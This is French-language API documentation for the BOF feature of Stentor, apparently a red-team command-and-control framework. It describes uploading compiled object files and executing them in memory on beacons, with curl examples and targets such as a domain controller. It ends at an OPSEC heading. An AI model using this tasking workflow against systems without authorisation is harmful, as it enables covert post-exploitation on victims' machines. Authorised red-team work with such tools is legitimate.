Fichiers d'objets de beacon (BOF)¶

Les fichiers objets Beacon sont des fichiers objets C compilés (.o) qui s'exécutent en ligne dans le processus du beacon. Contrairement aux techniques fork-and-run qui génèrent un processus sacrificiel, les BOF s'exécutent directement dans l'espace mémoire du beacon : pas de création de processus enfant, pas d'injection entre processus et pas d'artefacts sur le disque.

Stentor fournit une bibliothèque BOF côté serveur pour stocker et gérer les BOF, un utilitaire de regroupement d'arguments pour la sérialisation des arguments binaires et une API d'exécution qui distribue les BOF aux beacons en tant que tâches.

Architecture¶

sequenceDiagram
    participant Operator as Operator
    participant API as Stentor API
    participant Library as BOF Library (DB)
    participant Queue as Task Queue
    participant Beacon as Beacon

    Note over Operator,Library: BOF Upload (one-time)
    Operator->>API: POST /cockpit/bof/upload (multipart)
    API->>Library: Store BOF binary + metadata
    API-->>Operator: {id, name, size}

    Note over Operator,Beacon: BOF Execution
    Operator->>API: POST /cockpit/bof/execute {bof_id, args}
    API->>Library: Load BOF binary by ID
    API->>Queue: Enqueue "bof" task with base64 data
    API-->>Operator: {task_id, status: "queued"}
    Beacon->>Queue: Poll for tasks
    Queue-->>Beacon: BOF task (bof_data + packed args)
    Beacon->>Beacon: COFF loader: relocate, resolve, execute
    Beacon->>API: Submit task result (BOF output)

Gestion de la bibliothèque BOF¶

La bibliothèque BOF stocke les fichiers objets compilés dans la base de données avec des métadonnées. Les données binaires sont stockées sous BYTEA : le point de terminaison de la liste renvoie uniquement des métadonnées (pas de blobs binaires) pour plus d'efficacité.

Télécharger un BOF¶

POST /api/v1/cockpit/bof/upload¶

Téléchargez un fichier objet BOF compilé dans la bibliothèque. Utilise le codage de formulaire en plusieurs parties.

Champs du formulaire :

curl -s -X POST https://stentor.app/api/v1/cockpit/bof/upload \
  -H "Authorization: Bearer $TOKEN" \
  -F "name=whoami" \
  -F "description=BOF implementation of whoami /all" \
  -F "arch=x64" \
  -F "entry_point=go" \
  -F "bof=@/path/to/whoami.x64.o"

Réponse (201 créées) :

{
  "id": "a3b1c2d4-...",
  "name": "whoami",
  "size": 4096
}

Liste des BOF¶

GET /api/v1/cockpit/bof/list¶

Renvoie tous les BOF de la bibliothèque. Les données binaires sont exclues : seules les métadonnées et la taille calculée sont renvoyées.

curl -s https://stentor.app/api/v1/cockpit/bof/list \
  -H "Authorization: Bearer $TOKEN"

Champs de réponse :

Supprimer un BOF¶

DELETE /api/v1/cockpit/bof/:id¶

Supprimez un BOF de la bibliothèque. Cela supprime à la fois les métadonnées et les données binaires stockées.

curl -s -X DELETE https://stentor.app/api/v1/cockpit/bof/BOF_UUID \
  -H "Authorization: Bearer $TOKEN"

Réponse (200 OK) :

{
  "deleted": "a3b1c2d4-..."
}

Exécution du BOF¶

POST /api/v1/cockpit/bof/execute¶

Exécuter un BOF sur un beacon cible. Le BOF peut être référencé par l’ID de bibliothèque ou fourni sous forme d’octets bruts codés en base64.

Corps de la demande :

curl -s -X POST https://stentor.app/api/v1/cockpit/bof/execute \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "beacon_id": "BEACON_UUID",
    "bof_id": "BOF_UUID",
    "args": "BASE64_PACKED_ARGS"
  }'

# Base64-encode the BOF file and execute directly
BOF_B64=$(base64 -w0 /path/to/enum_users.x64.o)

curl -s -X POST https://stentor.app/api/v1/cockpit/bof/execute \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d "{
    \"beacon_id\": \"BEACON_UUID\",
    \"bof_data\": \"$BOF_B64\",
    \"entry_point\": \"go\"
  }"

Réponse (202 acceptées) :

{
  "task_id": "e5f6a7b8-...",
  "beacon_id": "BEACON_UUID",
  "status": "queued"
}

Le résultat de la tâche est récupéré en interrogeant la liste des tâches du beacon jusqu'à ce que l'état de la tâche soit completed. La sortie de la tâche contient la sortie imprimée du BOF (via BeaconPrintf / BeaconOutput).

Emballage des arguments¶

Les BOF reçoivent des arguments sous forme de tampon binaire compressé. L'API d'emballage d'arguments sérialise les arguments saisis au format binaire bof_pack utilisé par le chargeur BOF du beacon.

POST /api/v1/cockpit/bof/pack¶

Regroupez les arguments au format binaire codé en base64 pour l'exécution de BOF.

Corps de la demande :

Spécificateurs de format :

Chaque objet argument a :

Exemple : regroupez une chaîne et un argument entier :

curl -s -X POST https://stentor.app/api/v1/cockpit/bof/pack \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "format": "zi",
    "arguments": [
      {"type": "z", "value": "CORP\\Administrator"},
      {"type": "i", "value": 1}
    ]
  }'

Réponse :

{
  "packed": "EgAAAA...",
  "size": 28
}

La valeur packed est transmise directement en tant que champ args dans la requête d'exécution BOF.

Exemple : flux de travail complet (package puis exécution) :

# Step 1: Pack arguments
PACKED=$(curl -s -X POST https://stentor.app/api/v1/cockpit/bof/pack \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "format": "Zi",
    "arguments": [
      {"type": "Z", "value": "DC01.corp.local"},
      {"type": "i", "value": 389}
    ]
  }' | jq -r '.packed')

# Step 2: Execute BOF with packed arguments
curl -s -X POST https://stentor.app/api/v1/cockpit/bof/execute \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d "{
    \"beacon_id\": \"BEACON_UUID\",
    \"bof_id\": \"BOF_UUID\",
    \"args\": \"$PACKED\"
  }"

Considérations OPSEC¶